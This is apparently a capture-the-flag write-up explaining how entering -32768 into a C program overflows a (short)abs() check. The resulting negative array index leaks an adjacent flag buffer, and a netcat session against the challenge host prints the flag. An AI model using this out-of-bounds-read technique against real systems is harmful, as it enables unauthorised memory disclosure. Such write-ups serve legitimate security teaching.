We know the size of SHRT_MAX is 32767. So if instead of putting a size n > 0 for in we put -32768, when scanf(" %d", &p1.n); will be called we will get the address of flag instead but p1.n will still be positive thanks to p1.n = (short)abs((short)p1.n);.
After that we put wrong string to trigger the printf:
1 2 3
printf("\tYou lost!!!\n\ In the string %s the substring in the position %d is %s\n\ Try again...\n", p1.in, p1.n, &p1.in[p1.n]);
But here &p1.in[p1.n] will be equal to p1.flag.
Let's try it:
1 2 3 4 5 6 7
$ nc 200.136.213.126 1988 Insert a short integer: -32768 Insert a string: a Insert another string: b You lost!!! In the string a the substring in the position -32768 is CTF-BR{Th1s_1S_4_50_5Imp13_C_exp1017_} Try again...